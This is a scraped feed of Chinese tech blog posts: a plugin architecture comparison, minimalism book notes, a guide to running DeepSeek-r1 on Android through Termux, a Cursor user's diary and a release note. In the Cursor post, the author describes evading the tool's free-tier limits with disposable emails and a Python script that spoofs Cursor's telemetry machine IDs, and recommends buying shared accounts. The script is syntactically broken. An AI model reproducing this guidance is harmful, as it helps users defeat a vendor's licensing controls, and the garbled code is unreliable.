    • 面向通用构建:代码压缩、资源优化、部署生成。
    • 生态现状:社区插件超 1000 个,但质量参差不齐。

关键结论:开放性与稳定性需权衡,垂直领域适合“审核制”,通用领域适合“社区驱动”。


问题 5:如何实现插件热更新?

  • ByteTop

    // 通过 WebSocket 接收新插件代码  
    socket.on('plugin-update', (code) => {  
      core.pluginManager.update('click-tracker', code);  
    });  
    

    挑战:沙箱环境需支持代码动态替换。

  • Webpack

    • 原生不支持插件热更新,需重启构建进程。
    • 变通方案:通过 webpack-dev-server 重启整个构建流程。

五、实战对比:从代码看设计哲学

案例 1:实现一个“资源加载监控”插件

ByteTop 版本:

class ResourceMonitorPlugin implements IPlugin {  
  name = 'resource-monitor';  
  private observer: PerformanceObserver;  

  init() {  
    // 使用 Performance API 监听资源加载  
    this.observer = new PerformanceObserver((list) => {  
      const entries = list.getEntries();  
      entries.forEach(entry => {  
        core.report({ type: 'RESOURCE', data: entry });  
      });  
    });  
    this.observer.observe({ entryTypes: ['resource'] });  
  }  

  stop() {  
    this.observer.disconnect(); // 释放资源  
  }  
}  

设计重点:资源释放、性能 API 标准化。

Webpack 版本:

class ResourceMonitorPlugin {  
  apply(compiler) {  
    compiler.hooks.compilation.tap('ResourceMonitorPlugin', (compilation) => {  
      compilation.hooks.buildModule.tap('ResourceMonitorPlugin', (module) => {  
        const start = Date.now();  
        module.addListener('finish', () => {  
          const duration = Date.now() - start;  
          console.log(`模块 ${module.identifier()} 编译耗时: ${duration}ms`);  
        });  
      });  
    });  
  }  
}  

设计重点:编译生命周期钩子、模块级监控。


案例 2:错误处理机制对比

ByteTop 的熔断流程:

  1. 插件崩溃 → 2. 内核捕获错误 → 3. 标记插件为 unhealthy → 4. 降级至兜底逻辑。

Webpack 的错误处理:

  1. 插件抛出错误 → 2. Webpack 捕获并标记构建失败 → 3. 终止流程。

关键差异:ByteTop 的监控场景要求“永不中断”,Webpack 的构建场景允许“快速失败”。


六、架构图解析:可视化呈现核心差异

ByteTop 架构图

特点:插件与内核物理隔离,通过事件和队列通信。

Webpack 架构图

特点:插件与核心共享内存,通过钩子深度耦合。


七、如何选择?决策树与场景指南

决策树:

  1. 是否需要高稳定性(如监控、支付)?
    • 是 → 选择 ByteTop 模型(沙箱隔离 + 熔断)。
    • 否 → 进入下一问题。
  2. 是否需要深度定制核心流程(如构建、部署)?
    • 是 → 选择 Webpack 模型(钩子 + 共享上下文)。
    • 否 → 考虑轻量级事件总线方案。

场景指南:

场景推荐模型代表工具
前端监控、错误追踪ByteTop 模型Sentry、ByteTop
工程构建、代码优化Webpack 模型Webpack、Rollup
微前端、模块热更新混合模型qiankun、Vite

八、插件机制的设计启示&未来演进

1. ByteTop 的设计启示

  • 安全第一:通过沙箱隔离和熔断机制,确保核心监控链路稳定。
  • 轻量优先:动态采样和懒加载机制,减少对宿主应用的性能影响。
  • 适用场景:实时监控、错误追踪、用户行为分析等对稳定性要求高的领域。

2. Webpack 的设计启示

  • 流程控制:通过钩子精细控制构建流程的每个环节。
  • 生态整合:开放的插件机制催生丰富工具链(如 Loader、Plugin)。
  • 适用场景:前端工程化、静态资源打包、代码优化等构建密集型任务。

3. 未来演进

  1. 边缘计算插件:在 CDN 边缘节点运行插件,实现监控数据预处理。

  2. AI 驱动插件:自动识别异常模式并调整采样率(如 ByteTop 的智能降级)。

  3. WASM 沙箱:用 WebAssembly 实现更安全的插件隔离(替代 Web Worker)。

九、总结

插件机制的本质是 通过解耦和扩展赋予系统生命力。ByteTop 和 Webpack 虽在实现细节上截然不同,但都体现了这一核心思想:

  • ByteTop 以安全性和稳定性为核心,通过沙箱隔离和熔断机制保障监控链路高可用。
  • Webpack 以灵活性和效率为核心,通过钩子机制实现构建流程的深度定制。

理解两者的异同,不仅能帮助我们更好地使用现有工具,还能为设计自己的插件系统提供宝贵启示——根据场景需求,权衡隔离与效率,才能打造出真正优秀的扩展架构

by Luckyfif at January 31, 2025 05:53 AM

juejin article

让生活简单点——读《极简生活》小记

何为极简

极简的意义

生命本身没有意义,它的意义由我们自己决定,每个人都可以决定自己生活的意义。曾经听过一个说法:"幻想一个没有你的世界,努力让这个世界和现实世界差距尽可能的大,这就是生命的意义"。对我来说,我期待的理想生活是有平静的内心、健康的身体、充足的财富、家人朋友健康幸福,成为一个永远在前进并影响他人的人。

极简是一种工具。通过这种工具,你能够剔除生活中不必要的人、事、物,从而发现对自己真正重要的东西,并把时间、精力、金钱投入对你真正重要的东西上。极简还能够带来专注力的提升,能够帮助屏蔽大部分无效信息,少看或不看电视剧,很少打游戏,转而去读书和思考。

路遥在《平凡的世界》里面写道:“人们宁愿去关心一个蹩脚电影演员的吃喝拉撒和鸡毛蒜皮,而不愿了解一个普通人波涛汹涌的内心世界。”我愿把更多的注意力用来了解自己这个普通人内心的波涛汹涌,了解我身边重要的人的喜怒哀乐,认真听他们讲话,在他们需要的时候给予力所能及的帮助。

极简的作用

1.省时间

你会重新拥有真正属于自己的时间,而不是你“服侍”物品的时间。因为开始极简生活后,我们会发现自己需要的越来越少,我们会简化自己的物品,而物品简化本身就是一件节省时间的事情。

内心开始渴望一件物品的那一刻起,它就开始消耗我们的时间。选购、比价、看测评、下单、使用、维护、保养、维修,哪一项不需要时间?我们拥有的越多,要“服侍”的物品就越多,我们占有物品,物品也同样占有了我们。当我们舍弃一件物品,少买了一件物品时,我们不仅是“断舍离”了一件物品,更是放下了“选购、比价、下单、使用、维护、保养、维修”的一系列精力成本。

2.省空间

你拥有10000件物品,跟你拥有1000件物品需要的空间是不一样的。当你极简掉自己的物品后,你需要的空间就会少很多。

节省空间,其实也是在节省你的生存成本。空间就是金钱,一线城市的房子每平方米动辄上万元甚至更高。

3.省钱

省钱一定是极简生活最直观、最实在的好处。因为极简,你需要的物品变少,这样本身就省钱。你只留下令你怦然心动的物品在身边,减少更换的次数,也不会再购入不真正需要的东西。

4.发现对你真正重要的东西

极简生活不仅能够节省你的时间、精力和金钱,更能够让你从烦琐复杂的生活中看出对你而言真正重要的人和物品。

每周日是我的周复盘日,在那一天,我会按照“周检视清单”一一复盘我一周的生活。

1.周计划完成情况,工作进度、健身、学习、冥想等
2.周时间使用情况,工作、学习、健身、娱乐时间
3.照片清理
4.联系家人和朋友
5.每周新鲜事物

你可以不用活得稀里糊涂,你可以有另外一种活法,即活得清醒且自知,活得极简且真实。知道自己拥有什么,知道自己需要什么,知道哪些人对自己而言是重要的,知道自己的时间精力要花在哪些地方,知道自己不必为没有发生的事情而担忧,知道自己余生有限,每一天都要认认真真地活。

不管是物质的极简,还是精神的极简,最终都是让我们把关注点放回到自己身上,放回到对我们而言真正重要的事情上。

物质上的极简

理清你有多少物品

一个人一生大概拥有10000件东西,但是人们经常使用的物品只是其中的20%,80%的物品都没有被好好利用起来。如果要统计10000件东西,可想而知是一件多么庞大的工程?

作者举了一个例子:

例如,在你的电脑上建一个excel表格,叫作“我所拥有的每一件东西”。

当我开始整理物品后,我在电脑上建了一个excel表格,叫作“我所拥有的每一件东西”。我把自己所拥有的东西进行分类整理,在这个表格中建立对应的工作表。

所有的物品被我分类为:电子产品、衣服鞋子饰品、学习用品(书籍、本子、笔)、生活用品、彩妆护肤品、厨房用品(因为不做饭,目前厨房用品几乎等于0)六大类。

对我不太适用,我本身东西也没有很多,并且我也已经有了定期清理不需要的物品的习惯,重新梳理一遍我有哪些物品性价比太低。

丢掉不需要的物品

清理物品时,没有实用价值也没有情感寄托的物品可以直接丢掉,比如过期的牛奶、磨损的包包、穿不上的牛仔裤、坏掉的手机、不出油的圆珠笔、已经坏掉的移动硬盘等等。

有实用价值但没有情感寄托的物品,这些是满足我们基本生活需要、实实在在地为我们的生活带来方便的物品。对这些物品我们需要好好利用,并且尽量保持每个物品的数量都是“1”。1是最少的物品数量,你只需要1管牙膏、1瓶洗发水、1个化妆镜、1支钢笔和1根数据线……

处理闲置的方式

送走物品的方式有三种,一种是卖掉,一种是送人,另一种是直接丢掉。我首推卖掉,毕竟可以换点钱,苍蝇腿再少也是肉。发布在闲鱼上的二手物品尽量都写“不议价”,啰啰唆唆的人不卖。

3个常用二手App及使用指南

闲鱼: 闲鱼约等于交易二手物品的淘宝,可以卖的东西特别广泛,小到一支钢笔,大到一所房子。另外,使用闲鱼的用户多,二手商品被看见的机会多,卖出去的可能性也就大。

多抓鱼: 多抓鱼是买卖二手书的平台

只二: 只二是专业的买卖各种轻奢、名牌包包、珠宝首饰、衣服鞋子(以女性为主)的平台。快递同样是顺丰到付。

做一个爱惜物品的人

我们买回来了一件东西,需要使用、保管、保养,思考如何最大限度地延长物品的使用时间,最大限度地使用物品,最大化地利用资源。

不爱惜物品的人的表现是使用物品时不用心,使得物品的折损度高于常人,保管时间短,不是找不到就是遗失,保养更别提了,所以物品的使用寿命在不爱惜物品的人那里就异常短暂。

我们一直在强调人要爱自己,到底什么是爱自己?爱自己是一个抽象的词,总结下来,爱自己是爱自己相关的一切:爱自己的空间,爱自己的身体,爱自己的物品,爱自己所处的关系,爱自己的精神世界,爱自己的时间。我相信,当你开始去爱自己的物品时,你就是在练习爱自己。

爱惜物品的8个小贴士

1.你的物品都是钱买来的,你的钱是你的劳动换来的,你的劳动价值不是取之不尽的,而是非常值得被尊重的。

2.学会不同材质的衣服、鞋子的使用、洗涤和保养指南。

3.物品都应有自己的位置,避免出现忘记物品放在哪里,而又重新买一个一模一样的物品的情况。

4.食品要及时封口并在保质期前吃完。

5.外出就餐时,吃多少点多少,吃不完的食物打包带走。

6.东西一旦坏掉,先考虑修理,再考虑买新的。

7.不需要的物品送人、捐赠或者转卖。

8.用心使用、爱惜生活中的每一件物品,用心使用物品是“术”。

改变,从打扫房间开始

我们想要改变自己的状态,有两种方式:一种是先调整心情,再来调整自己身边的物品和人际关系;另一种是先调整自己的物品和生活,再来调整自己的心情。

一天有24个小时,我们一大半的时间都是在办公室和房间里度过的,办公室是我们认真工作、创造价值感的地方,房间是我们“养”自己、和家人生活的地方。

打扫房间的时候有两个原则:一是最终的效果以房间干净、明亮、无杂物为标准;二是我们的打扫是为了享受,不是为了打扫而打扫。

1.打扫房间是体力劳动,基本无须动脑,可以缓解大脑疲劳。当你感觉用脑过度的时候,就离开电脑去打扫卫生吧!专注于体力劳动,让你的大脑停止思考,休息一会儿吧!已经有研究表明,在经历了长时间的脑力劳动之后,打扫卫生这类的体力劳动是一种非常高效的休息。

2.干净、明亮、无杂物的状态会让你的心情愉悦。面对摆了一床的衣服,塞满东西的房间,连下脚都困难的地方,你的心情不仅不会好起来,还会更加心塞

3.打扫和整理房间跟散步、洗澡一样,是一个放松大脑的活动。

你为什么控制不住买买买

先来普及一个名词,叫作“计划报废”。

“计划报废”就是人为地缩短产品的使用寿命,故意设计容易损坏的产品。所以,你总觉得现在的东西质量越来越差,过去的东西质量好,是有原因的。“计划报废”最早是被应用于灯泡,比如,一个灯泡本来可以使用2500个小时,“计划报废”实施后,寿命只有1000个小时,这样商家就可以卖出更多的灯泡了。

“计划报废”恐怕是行业已经公开的秘密,很多商家心照不宣地实行着“计划报废”,除了灯泡,还有洗衣机中极易损坏的加热元件、装有密封面板无法更换电池的电动牙刷、打印机墨盒等,很多商品都有报废属性。

大部分人认为自己是精明而节俭的消费者,但其实你怎么可能比商人还精明?

优惠券、“双十一”抢购时夸张的规则、买一送一等,让我们以为自己赚到了,其实我们哪里算得过商家?商家的背后有顶尖的心理学家、社会学家、人类学家、营销专家,我们背后有谁?

营销专家也有一套万能公式:给消费者制造焦虑→讲述一些消费者不了解的、可怕的事→介绍一种神奇的解决方法(产品)→说明如果不使用这款产品,你就会陷入危险。例如除菌产品就是一个典型的例子,卫生问题处理不好会让人生病,生病会带来危险。为了牟利,商家利用人的本能,生产和销售大量除菌产品,其营销思路为:大肆宣传细菌的危害,让人们觉得细菌会蔓延和感染并危及生命,而作为一个个体,不使用可以洗掉99%细菌的除菌皂,你就很有可能会感染细菌,进而危及生命。

精神上的极简

朋友也要区别对待

极简是一种生活方式,也是一种生活态度。只要不是在原始森林独居,你活着就要跟人打交道。生活中大部分的幸福和不幸都是来自人与人之间的化学反应,人真的是一个很神奇的物种。

理想的情况是,对重要的人投入重要的精力,远离消耗你的人。然而现实和理想往往是相反的。现实生活中,很多人花了太多的力气在糟糕的人际关系上,努力去讨好不喜欢自己的人,拼命想要给看不起自己的人证明自己能行,想要让离开自己、背叛自己的人后悔,却忽略和漠视了那些真正在意自己、重视自己的人。

我们可以按照重要程度把我们的好友分为三大类。

第一类:重要他人,包括无条件支持我们的家人,无话不谈的朋友,困难的时候给予我们帮助的贵人。

第二类:普通友人,包括曾经愉快相处过如今来往较少的朋友,一起工作的老板和同事,来往较少的亲戚。

第三类:“忽视”友人,平常几乎0接触,最多朋友圈偶尔点个赞的点赞之交。

第四类:“需要远离”的人,那些一直给我们带来负面影响但是没舍得删除的朋友,情绪黑洞,这辈子都不会往来的人,等等。

专注于自己,而不是聚会

我们需要人脉、需要伯乐、需要机遇,但是如果我们没有真本事,就像创业者没有好的产品,再厉害的人脉也帮不了我们,即使帮得了我们一时,也帮不了我们一世。

什么叫作人脉?人脉不是你都认识谁,而是当你遇到困难的时候,谁愿意帮你,你也愿意给予对方帮助,这才叫人脉。

让自己变好,是解决一切问题的关键。当你变得足够好,自然会吸引优秀的人,会遇到贵人,会进入更优质的圈子,会有属于你自己圈层的人脉。

无意义的聚会既浪费我们的时间,又消耗我们的精力,还没有任何回报,就像只在饭桌上称兄道弟的酒肉朋友,没有什么益处。

首先,我们要学会鉴别什么是真正对我们有帮助的朋友,哪些是真朋友,哪些是酒肉朋友,不断打磨自身的能力,提高自己的专业水平。

其次,在人与人的相处中,我们要更多地思考“利他”而不是“索取”。思考这个人是不是需要我的帮助,我能够帮助他什么,我能够带给他什么价值。

当你发自内心地帮助他人,给予他人更多关心,为他人带来价值,成就他人的时候,他们才是你的人脉,你想要的机会和财富自然也会随之而来。

远离让你觉得不舒服的人

我交朋友有一个原则,一个人只能有一次恶心我的机会。当我们不熟时,如果这个人做了一件让我觉得很恶心、能够反映出他的人品、认知、道德底线有问题的事,那我不可能再给他任何接近我的机会,一般是直接删除,断开所有链接。如果是熟人,那么我会主动疏远,但是能成为我的熟人一般人品已经过关了,大概率没有恶心我的机会。

对于任何一个人来说,情绪都是底层逻辑。后天学习的东西都是理性,理性是把人往回拉的力量,但是驱动一个人的,其实是他的内在感受和情绪。

我们控制不了天气,但我们可以选择周围环境,选择看到的信息以及接触到的人。在所有影响情绪的因素中,人又是对情绪影响最大的因素。

你身边一定有这样充满负能量的人:自怨自艾,喜欢搬弄是非,背后说人坏话,一张嘴不是叹气就是抱怨,甚至通过贬低和打压你显示自己很强。这样的人,你每次跟他相处后,就像生了一场大病,需要三五天才能恢复能量。

“关注即强化”。关注负能量的人,就会吸引更多的负能量来自己身边。一个心里有怨言、嘴上爱抱怨的人,是积极不起来的。

使用极简帮助管理精力

潜意识里面,大部分人把忙碌和事业有成、功成名就等词语挂钩,而这也是很多人一直渴望的状态。但是实际上,他们要追求的是井然有序的高效生产力,而不是简单的“忙碌”两个字。

忙碌是一种状态,从容也是一种状态,忙碌与你的成就高低、工作努力程度、生活认真与否并没有直接的关系。

《巨人的工具》这本书里,作者采访的名人之一德里克·希维尔斯说:“什么是忙碌?‘忙碌’可能意味着‘失控’。比如,‘天啊,我太忙了,我没时间做这件事!’这句话在我听来就像是一个无法控制自己生活的人才会说的话。

以前我们总认为,金字塔顶端的人都是很忙碌的,长大了才明白,那些生活在金字塔顶端的人不是忙碌,而是有节奏、有计划地高效工作和生活。他们每天会按照小时、半小时甚至15分钟的时间颗粒来规划,高效地平衡工作和休息,专注地在每个时间段做规划好的事。他们很少拖延、纠结、犹豫,而我们大多数人花了太多的时间在犹豫、纠结、拖延、玩手机,真正做事的时间少之又少,还给自己造成一种忙碌的假象。

忙碌只是一种状态,是一个修饰词,你也可以选择从容地认真、从容地努力、从容地成功。

如何不再忙碌,优雅从容的掌控生活?

1.要有计划

小的计划可以是你今天的下班时间是几点,为了实现准时下班,你必须完成的事情是什么?以及下班之后到睡觉前,你要完成的事情,如健身30分钟、写一篇文章、洗澡。或者今天是放松日,下班后到睡觉前的自由时间,你允许自己玩手机放松,这也是计划。但是切勿把放松当作常态,哪怕是休息,你也要意识到自己是在休息。

大的计划可以是你这个月的工作KPI是多少?为此你每周需要完成多少业绩?这样计划好以后,你就不会再头疼自己今天该干什么,明天该干什么,毫无计划性,或在背后责怪老板太苛刻,给自己的压力太大了。如果你不知道你的KPI,可以明确地去问老板。

2.提高工作效率

培养抗干扰能力。干扰分为两种,一种是来自自己内部的干扰,另一种是外部的干扰。

内部的干扰,如工作时想要玩手机,对于这种情况你可以设定在完成某个任务后,奖励自己玩手机10分钟等措施,来和大脑谈判。工作时你的大脑可能会冒出来很多别的念头,有时候会想起一些事。这个时候不要马上去做这些事,先记下来,完成手头上的事情之后,再去一一处理。

外部的干扰是考验你的问题处理能力。任何人找你,你都可以告诉他你现在在忙,等你忙完手头上的事情再找他。如果手上的工作两三分钟之内可以处理完,你可以当场判断是拒绝他还是答应然后让他等待。

3.拒绝拖延症

真正让你忙碌的并不是事情本身,而很可能是做事之前的拖延和纠结。拖延症不是懒惰的表现,而是在你面临压力时的应对机制。当我们在拖延的时候,我们逃避的不是事情本身,而是压力。

下一次当你拖延的时候,你要知道,你的拖延正是你不能准时下班,忙忙碌碌却不知道自己做了些什么事情的原因。你可以直接采用《5秒法则》这本书里提供的方法:“屏蔽掉你的想法和行动之间的感受,倒数5、4、3、2、1,go!”生命这么短暂,我们不妨大胆一些。

你真的知道怎么休息吗

松浦弥太郎的《新100个基本:自我更新指南》里面有这样两句话:

“严格来说,身穿睡衣一天无所事事的状态,不算休息。”

“休息日,需要早起更衣、三餐不落,晚上早睡,身心愉悦,‘散漫’和‘休息’完全属于两种不同的行为。”

我们所有的休息都逃不出这两个目的:恢复体力和恢复脑力。其中很关键的是恢复两个资源——“注意力”和“意志力”。所以,一切消耗我们注意力和意志力的事情,都不是真正的休息。上网看新闻,上微博追热点,这些会占有我们的注意力;判断这些信息的真实性、判断电视剧中人物的好坏等需要消耗我们的意志力。

看肥皂剧、刷朋友圈都属于被动休息,被动休息能够带来短暂的多巴胺递质增加,多巴胺能够带来一定的愉悦感,但它属于递质类愉悦因子,有效性非常短。锻炼和休息属于主动休息,主动休息能够提高催产素水平,催产素属于激素类愉悦因子,它带来的时效会更长,当我们再次投入工作和学习中去,它还能继续发挥作用。

人类的左脑负责语言、阅读、思考和推理;右脑负责理解空间位置关系、模式识别、绘画、音乐和情感表达。当你阅读的时候,你在用你的左脑;当你构思图画和分类时,你在用你的右脑。你用左脑时,右脑在休息;你用右脑时,左脑在休息。做需要左右脑同时工作的事情,你可以通过停下来散散步、四处走走、游个泳来休息。当你写文章累了,算一下数学题就会跟换了个脑子一样清醒;当你在办公室没思路时,站起来活动活动,然后再回到办公室就会像脱胎换骨。

脑子累了,干点儿体力活;看书累了,就去游泳,或者以散步、做家务、洗澡等转移注意力,放松回来后还能再写一个方案;身体累,就去睡觉。

在睡觉这件事上,你的大脑白天休息20分钟就可以迅速恢复精力,很多牛人一天会睡好几次半个小时,也都有午休的习惯,就是这个道理。

每年100多天的假日,给自己一个承诺,你要高质量地休息。

总结高质量休息的几条路径

  1. 养成每天午休的习惯。
  2. 白天实在感到太累的话,也可以睡一觉,20~30分钟为好。
  3. 轮休:写文章累了,换成背英语单词;背英语单词累了,那就换成做数学题。
  4. 感到精神疲倦的时候,就去户外散步、洗澡、烘焙、做家务等,让大脑休息。
  5. 远离各种内容平台和热点事件,严格来说,任何需要用到脑力、接受信息的活动,都不算休息。宁愿放空发呆,也不要拿起手机刷朋友圈、热点等消耗更多的精力。
  6. 感到疲倦的时候,去做自己喜欢平时却没有时间做的事情,全然地沉浸其中。
  7. 休息日照样规律作息,不要熬夜赖床。
  8. 每个休息日都需要一定量的运动或者体力劳动

by 安妮的心动录 at January 31, 2025 05:38 AM

juejin freebie

手机也能跑大模型?DeepSeek-r1 部署教程来了!

现在,大家用手机的时间越来越长,对隐私安全的关注也越来越高。各大厂商也在琢磨,怎么才能让大模型直接跑在手机上。这几天写文章时,发现不少小伙伴都在问:怎么在手机上部署 DeepSeek?

既然大家都感兴趣,那今天就把我之前折腾的部署步骤整理出来,分享给大家,希望能帮到你!

在 Android 手机上运行 LLM****安装指南

1. 安装 Termux 应用

安装有两种方法,如果第一种能用,别浪费时间试第二种。

  • 打开Termux GitHub Releases页面

  • 下载termux-app_v0.119.0-beta.1+apt-android-7-github-debug_arm64-v8a.apk
  • 安装 APK 文件。

2. 运行 Ollama 服务器前的环境配置

打开 Termux 后,你会看到一个看起来像 Linux 终端的界面。接下来,我们需要配置 Ollama 运行环境。

  • 先授予存储权限:
termux-setup-storage

运行后,让 Termux 能够访问你的 Android 存储系统。执行后,系统会弹出“设置”应用,找到 Termux 并手动授予存储权限。

  • 更新软件包

在安装任何工具之前,先更新软件包,就像在 Linux 上做的那样:

pkg upgrade

执行后,如果提示Y/N,直接输入Y并回车。

  • 安装 Git、CMake 和 Golang

这些工具是下载和构建 Ollama 所必要依赖:

pkg install git cmake golang

3. 安装并构建 Ollama

  • clone Ollama GitHub 仓库

如果你经常使用 Termux,可以先进入你想安装 Ollama 的目录;否则,直接执行以下命令:

git clone --depth 1 https://github.com/ollama/ollama.git
  • 进入 Ollama 目录

下载完成后,切换到 Ollama 目录:

cd ollama
  • 生成 Go 代码并构建 Ollama

运行以下命令,先生成 Go 代码:

go generate ./..

然后编译 Ollama(这一步耗时比较久,需要一点耐心):

go build .

等待构建完成后,我们成功在手机上安装 Ollama!

4. 运行 DeepSeek 模型或其他小型模型(1B 或 2B 参数)

选择一个合适的模型

注意:参数超过 3B(30 亿)的模型在手机上运行太慢,甚至可能无法加载进显存,所以别折腾太大的模型。

进入Ollama模型库,寻找适合手机的小型语言模型(SLM,Small Language Models)。一旦找到合适的模型,就可以开始跑 本地模型 了!

在 Ollama 模型库 页面,你会看到一个“复制”按钮(如果用手机访问,看不到的话,切换到“桌面视图”模式)。点击复制,等会儿我们部署时可以用的上。

  • 下载并运行模型

这里以DeepSeek 1.5B模型为例,当然你可以选择其他模型,步骤都是一样的。

  • 运行 DeepSeek 1.5B 模型:
./ollama run deepseek-r1:1.5b --verbose

运行你自己选择的模型(如果你是选择其他模型时请输入对应的命令):

./<刚刚从 Ollama 官网复制的命令>

等待下载完成

这个命令会开始下载模型到你的手机上,请耐心等待。下载时间取决于你的网速,如果你用的是移动数据,确保至少还有 1.5GB 流量,否则容易翻车!

开始使用 LLM

下载完成后,Termux 终端里会出现交互界面,你可以像在 PC 上那样使用 LLM。不过别对性能抱太高期待,毕竟这是在手机上运行的“小型”模型,速度肯定比不上 ChatGPT。

by MobotStone at January 31, 2025 05:24 AM

Cursor初体验

某天老板在群里统计大家目前使用的开发工具,我回答说是VS Code,老板再问:“为啥不用Cursor?”

图片

阻拦我尝试Cursor的那个报错

老板的提问是一个引子,解决掉——其实就只是将Cursor更新到最新——该报错之后,我便开始使用Cursor。两个月过去,我使用Cursor越来越重度,到现在,我想将目前使用Cursor的感受先记一记,于是有此篇。

一、初次使用个人感受

可以使用Cursor当天,我并不知道它有什么功能,只在Cursor中(之前是在VS Code中)继续完成我的一个小小测试脚本,我没想到的是,它的tab功能如此强大。如下图,那种仿佛可以预知我想法的代码补全,让我深感诧异。(对的,在我试用Cursor过程中,GitHub的Copilot也已经能免费使用,不过目前我看到的效果是,它在准确性上不及Cursor。)

图片

Cursor的tab功能

这是一种发现新大陆的惊喜,我甚至开始怀疑,我是不是可以完全抛弃VS Code了。(好吧,这一句有点傻傻的话,是在Cursor中编辑时点按tab出来的,我并没有抛弃VS Code。不抛弃的原因是,同时打开两个应用,一个用来写一个用来看,切换起来方便许多。)

Cursor主要功能分为两种(此处严谨些,或许只是我目前使用到的):

  • 代码补全,如上图,在编辑过程中,它会依据上下文,自动补全代码;
  • 代码生成,我们可以在某个输入框当中,输入想要做的事情,它会根据输入,再结合整个项目中的上下文生成代码;(关于整个项目,我使用的是Privacy mode,所以还未感受到它的完全体功能:如果上下文更多些,生成出来的代码会更准确。)

需要诚实些的是,我初初使用Cursor时,是真以为它是免费的。但只使用大概5天,免费额度便已经用完。

二、薅羊毛

(这个标题,是Cursor帮我生成的。)

薅羊毛的方法,其实也是简单的,免费额度到期后,可以这样操作:

  • 在网站https://temp-mail.org/en/上生成一个新的邮箱,使用这新邮箱登录(temp-mail广告挺多,直接在其主页中间框框中收验证码即可);
  • 再修改下自己机器上Cursor使用的配置文件;

图片

一张介绍修改机器的图片

修改自己机器上的Cursor配置文件,会有些麻烦,我甚至用Cursor帮我写了一段小小代码:

import os
import json
import uuid
import secrets

def generate_hex_string(length):
    """生成指定长度的十六进制字符串。"""
    return secrets.token_hex(length // 2# token_hex()接受的是字节数,一个字节等于两个十六进制字符


def modify_json_file(file_path):
    # Change file mode to 666
    os.chmod(file_path, 0o666)

    # Read the JSON file
    with open(file_path, 'r'as file:
        data = json.load(file)

    # Generate two different 64-bit hex numbers
    hex1 = generate_hex_string(64)
    hex2 = generate_hex_string(64)

    # Ensure the two hex numbers are different
    while hex1 == hex2:
        hex2 = generate_hex_string(64)

    print(hex1)
    print(hex2)

    # Generate a UUID
    uuid_str = str(uuid.uuid4())

    # Replace the telemetry fields
    data['telemetry.macMachineId'] = hex1
    data['telemetry.machineId'] = hex2
    data['telemetry.devDeviceId'] = uuid_str

    # Write the modified data back to the JSON file
    file_path_new = f"{file_path[:-5]}_new.json"
    os.chmod(file_path_new, 0o666)
    with open(file_path_new, 'w'as file:
        json.dump(data, file, indent=4)
    os.chmod(file_path_new, 0o444)

if __name__ == '__main__':
 modify_json_file('./storage.json')

接着,再将替换掉机器码的配置文件替换到Cursor的配置文件中,便可以开始新的体验之旅……

三、初次付费

薅羊毛,到底是有些不太方便的,每次过期之后都会点开Cursor的升级页面看一看,我内心想要付费使用的渴望,越来越强……

只是每次都被每月20刀吓退。

20刀,用不起,20RMB呢?好像是可以接受的。

我第一次花钱,是在咸鱼花22块钱买一个体验号,商家说可以用一个月,好评再赠送15天。

当我真正用起来后,发现这种体验模式纯纯是骗小白钱,商家帮我做的事情,只是申请一个邮箱而已,体验过期之后,我依然需要换邮箱换机器码。(啊哈,写这一段时,我有些生气,甚至想去找老板退钱……由此,我的建议是,大家如果买号使用的话,请不要买体验号。)

图片

Pro账号的界面,长这样子

我第二次花钱,是一周之前。我将自己“很想付费使用”的想法在掘金沸点上表达,掘友们给我的建议是:去淘宝买共享号就好。

我上淘宝搜Cursor,找到销量第一那家店,花25块钱买一个月的3人共享号。

目前使用一周,只感觉好香好香!

四、使用感受

我现在敲代码,也大概分作两个方向:

  • 项目代码,那些真正会用到我们产品中的内容;
  • 测试与统计工具,测试用作某些技能的预研,统计用于代码上线之后的观察与调整;

项目代码不多说,我只需要写主要逻辑就好,那些log、异常、格式、甚至一些我没有考虑到的逻辑分支,Cursor都帮我完成。

我想要多聊聊的,是测试与统计工具。在写这些测试工具时,我是只用Cursor的代码生成的,即给一段话,让Cursor帮我生成相应功能的代码,这一段话,大概是这样的:

帮我写一个函数,这个函数的输入是这样的log文件,它的格式是timestamp, user_id, action, used time 0.2359 xxxx这样的,这个函数需要做的事情是根据user_id,统计出这个用户在一天中,使用最多的action,我需要看时间的均值、方差,另外,再帮我生成一个图表。图标具体形式是怎样的我不太懂,但是我需要直观的看出来哪个action使用时间最长,哪个user_id使用最多。

这段话写完之后,Cursor就会帮我生成一个很长的函数。

接下来做的事情,我只需要测试代码是否生成正确,然后,再根据我自己的需求,进行调整就好。

上面过程当然是完美的,当看到那许多数据,都用直观图表展现时,我内心是很满意的。

不完美的地方,有两点:

一是Cursor生成的用作我自己测试的代码,我并不关注它的写法好是不好,我不关注是否可以复用,甚至它内里具体怎样完成我也不关注,这导致的问题是,在我需要对测试做些调整时,我只能再次借助Cursor,而当调整变多时,代码就变得越来越臃肿,更甚者,我会怀疑整段代码得出结论的正确性。

第二个不完美的地方,其实与Cursor无关,而关于我自己知识的储备。以上面一段话作为示例,Cursor帮我生成的图表中,有些很直观,有些我认为还可以做些改进,但其实我,并不知道改进的方向是怎样的,由此,我也并不知道该给予Cursor怎样的提示词。这就是,我有一个万能小助手,却只能让它帮我做些类似洗碗切菜这样的简单事。

Cursor很厉害,但要用好它,我依然需要学习很多。学习,又大概分作两个方向:一是提升自己知识的广度,让自己能够给予Cursor更多相对准确些的提示词;二是提升架构层面的能力,毕竟现在写代码有骨架之后,填肉这件事,让Cursor做就好。

以上,是我使用Cursor两个月所拥有的体验:工具真好用,但自我提升还不能停……

by 我要改名叫嘟嘟 at January 31, 2025 04:20 AM

oschina news project

Skyeye 云 VUE 版本 v3.15.6 发布

Skyeye 云智能制造,采用 Springboot + winUI 的低代码平台、移动端采用 UNI-APP。包含 30 多个应用模块、50 多种电子流程,CRM、PM、ERP、MES、ADM、EHR、笔记、知识库、项目、门店、商城、财务、多班次考勤、薪资、招聘、云售后、论坛、公告、问卷、报表设计、工作流、日程、云盘等全面管理,实现智能制造行业一体化管理。实现管理流程 “客户关系 -> 线上 / 线下报价 -> 销售报价 -> 销售合同 -> 生产计划 -> 商品设计 -> 采购 -> 加工制造 -> 入库 -> 发货 -> 售后服务” 的高效运作,同时实现企业员工的管理以及内部运作的流程操作,完善了员工从 “入职 -> 培训 -> 转正 -> 办公 -> 离职” 等多项功能。

常见问题     开发文档

Skyeye 云【源代码】针对 {星球用户} 开源。拿到源码后可进行学习、毕设、企业等使用。

Skyeye 云智能制造 v3.15.6 发布 ,发布内容如下:

  • Skyeye 云已加入 Dromara 社区
  • VUE 版 Skyeye 云
    • 全部使用低代码【列表布局】的页面重构完成

